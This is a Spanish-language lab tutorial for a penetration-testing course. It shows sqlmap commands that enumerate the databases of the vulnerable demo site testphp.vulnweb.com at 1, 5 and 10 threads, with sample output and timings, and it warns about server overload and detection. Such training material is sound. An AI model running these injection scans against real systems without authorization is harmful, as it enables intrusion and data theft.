Optimizar el rendimiento de escaneo con hilos en sqlmap

Kali LinuxBeginner
Practicar Ahora

Introducción

sqlmap es una potente herramienta de pruebas de penetración de código abierto que automatiza el proceso de detección y explotación de fallos de inyección SQL. Por defecto, sqlmap realiza sus pruebas secuencialmente, enviando una solicitud a la vez. Si bien esto es fiable, puede ser lento, especialmente en aplicaciones web complejas o al realizar pruebas de inyección ciega basadas en tiempo.

En este laboratorio, aprenderá a acelerar significativamente sus escaneos de sqlmap utilizando la opción --threads. Esta bandera permite a sqlmap realizar múltiples solicitudes HTTP de forma concurrente, reduciendo drásticamente el tiempo total necesario para completar un escaneo. Realizará una serie de escaneos con diferentes recuentos de hilos y comparará los resultados para ver la mejora de rendimiento de primera mano.

Realizar un escaneo de referencia con un solo hilo

En este paso, realizará un escaneo básico de sqlmap utilizando la configuración predeterminada de un solo hilo. Esto servirá como nuestra referencia para medir las mejoras de rendimiento en los pasos posteriores. Utilizaremos el comando time para medir con precisión la duración del escaneo.

Primero, ejecute el siguiente comando en su terminal. Este comando le indica a sqlmap que escanee la URL proporcionada (-u), enumere las bases de datos (--dbs) y se ejecute en modo no interactivo (--batch). Redirigiremos la salida a un archivo de registro y también usaremos el comando time para medir el tiempo de ejecución.

(time sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" --dbs --batch) 2>&1 | tee baseline_scan.log

Después de que el escaneo se complete, verá una gran cantidad de salida de sqlmap, seguida de la medición del tiempo al final. Se verá algo como esto:

... (salida de sqlmap) ...

[22:30:00] [INFO] fetching database names
[22:30:00] [INFO] the SQL query used returns 2 entries
[22:30:00] [INFO] retrieved: information_schema
[22:30:00] [INFO] retrieved: acuart
[22:30:00] [INFO] available databases [2]:
[*] acuart
[*] information_schema

[22:30:00] [INFO] fetched data logged to text files under '/home/labex/.sqlmap/output/testphp.vulnweb.com'

[*] ending @ 22:30:00 /2023-10-27/


real    0m45.123s
user    0m5.456s
sys     0m0.789s

El valor más importante para nosotros es real, que representa el tiempo total de reloj transcurrido. Ahora, guardemos este resultado en nuestro archivo de comparación, scan_times.log.

echo "Baseline (1 Thread): $(grep real baseline_scan.log | awk '{print $2}')" >> scan_times.log

Finalmente, vea el contenido del archivo de registro para confirmar que se ha registrado el tiempo de referencia.

Baseline (1 Thread): 0m45.123s

Comprender el propósito de la bandera --threads

En este paso, nos tomaremos un momento para comprender la característica clave de este laboratorio: la bandera --threads en sqlmap. No hay comandos que ejecutar en este paso; el objetivo es comprender el concepto antes de aplicarlo.

La opción --threads se utiliza para establecer el número de solicitudes HTTP(s) concurrentes que sqlmap realizará durante un escaneo. El valor predeterminado es 1.

Cómo funciona:
En lugar de enviar una solicitud y esperar una respuesta antes de enviar la siguiente, sqlmap puede abrir varios "hilos" para enviar varias solicitudes al mismo tiempo. Este paralelismo es especialmente efectivo para tareas que implican muchas solicitudes, como:

  • Fuzzing de vulnerabilidades.
  • Ataques de fuerza bruta de caracteres en el nombre de una base de datos (inyección SQL ciega).
  • Extracción de grandes cantidades de datos.

Beneficios:

  • Velocidad: El beneficio principal es una reducción significativa en el tiempo de escaneo.
  • Eficiencia: Hace un mejor uso de su conexión de red y recursos del sistema.

Consideraciones:

  • Uso de recursos: Aumentar los hilos utilizará más de su CPU y memoria.
  • Estabilidad del objetivo: Un número muy alto de hilos podría sobrecargar un servidor web frágil o mal configurado, lo que podría causar una denegación de servicio.
  • Detección: Los escaneos agresivos con múltiples hilos tienen más probabilidades de ser detectados y bloqueados por Firewalls de Aplicaciones Web (WAF) o Sistemas de Detección/Prevención de Intrusiones (IDS/IPS).

sqlmap le permite establecer el número de hilos de 1 a un máximo de 10. En los siguientes pasos, verá cómo ajustar este valor afecta el rendimiento del escaneo.

Volver a ejecutar el escaneo con un recuento de hilos aumentado (--threads=5)

En este paso, aplicará su conocimiento de la bandera --threads. Volvamos a ejecutar el mismo escaneo que antes, pero esta vez aumentaremos el número de solicitudes concurrentes a 5.

Ejecute el siguiente comando en su terminal. Es idéntico al primer comando, con la adición de --threads=5.

(time sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" --dbs --batch --threads=5) 2>&1 | tee 5_threads_scan.log

Una vez que el escaneo se complete, debería notar que el tiempo real es significativamente menor que el escaneo de referencia.

Ahora, agreguemos este nuevo resultado a nuestro archivo scan_times.log para su comparación.

echo "5 Threads: $(grep real 5_threads_scan.log | awk '{print $2}')" >> scan_times.log

Verifiquemos nuevamente el contenido del archivo de registro para ver ambos resultados.

cat scan_times.log

La salida ahora mostrará los tiempos de escaneo de referencia y de 5 hilos.

Baseline (1 Thread): 0m45.123s
5 Threads: 0m15.456s

(Nota: Sus tiempos variarán, pero debería ver una disminución notable).

Volver a ejecutar el escaneo con el recuento máximo de hilos (--threads=10)

En este paso, llevará el rendimiento al límite utilizando el número máximo de hilos permitidos por sqlmap, que es 10. Esto demostrará la ganancia de rendimiento máxima que puede lograr con esta opción en condiciones normales.

Ejecute el comando de escaneo una última vez, estableciendo el recuento de hilos en 10.

(time sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" --dbs --batch --threads=10) 2>&1 | tee 10_threads_scan.log

Este escaneo debería ser aún más rápido que el anterior. Después de que termine, registre el resultado en nuestro archivo de registro.

echo "10 Threads: $(grep real 10_threads_scan.log | awk '{print $2}')" >> scan_times.log

Ahora, vea el archivo scan_times.log para ver los tres resultados compilados.

cat scan_times.log

La salida ahora contendrá las tres entradas, lo que facilitará su comparación en el siguiente paso.

Baseline (1 Thread): 0m45.123s
5 Threads: 0m15.456s
10 Threads: 0m9.789s

(Nota: Sus tiempos variarán).

Comparar las duraciones de los escaneos y observar los cambios de rendimiento

En este paso final, analizará los datos que ha recopilado para sacar una conclusión sobre la efectividad de la multihilo (multi-threading) en sqlmap.

Mostremos los resultados finales almacenados en scan_times.log.

cat scan_times.log

Verá una salida similar a esta, que muestra claramente la duración de cada escaneo:

Baseline (1 Thread): 0m45.123s
5 Threads: 0m15.456s
10 Threads: 0m9.789s

(Nota: Los tiempos exactos diferirán según las condiciones de red y la carga del sistema, pero la tendencia debería ser clara).

Análisis:
Como puede ver en los resultados, hay una disminución drástica en el tiempo de escaneo a medida que aumentamos el número de hilos.

  • El salto de 1 a 5 hilos probablemente produjo la ganancia de rendimiento más significativa.
  • El salto de 5 a 10 hilos todavía muestra una mejora, pero podría ser menos pronunciado. Esto se debe a que factores distintos al número de hilos, como la latencia de la red o la capacidad del servidor para manejar solicitudes concurrentes, comienzan a convertirse en el cuello de botella.

Este experimento demuestra claramente que el uso de la bandera --threads es una forma simple pero muy efectiva de optimizar sus escaneos de sqlmap.

Resumen

¡Felicitaciones por completar este laboratorio! Ha aprendido con éxito cómo optimizar el rendimiento de los escaneos de sqlmap utilizando solicitudes concurrentes.

En este laboratorio, usted:

  • Realizó un escaneo de referencia con un solo hilo para establecer un punto de referencia de rendimiento.
  • Aprendió el propósito de la bandera --threads y sus beneficios y consideraciones.
  • Ejecutó escaneos con 5 y 10 hilos para observar el impacto en la duración del escaneo.
  • Comparó los resultados y confirmó que aumentar el número de hilos reduce significativamente el tiempo de escaneo.

Dominar opciones como --threads es crucial para realizar pruebas de penetración eficientes y oportunas. Recuerde usar este poder de manera responsable, ya que los escaneos agresivos pueden afectar negativamente al sistema objetivo.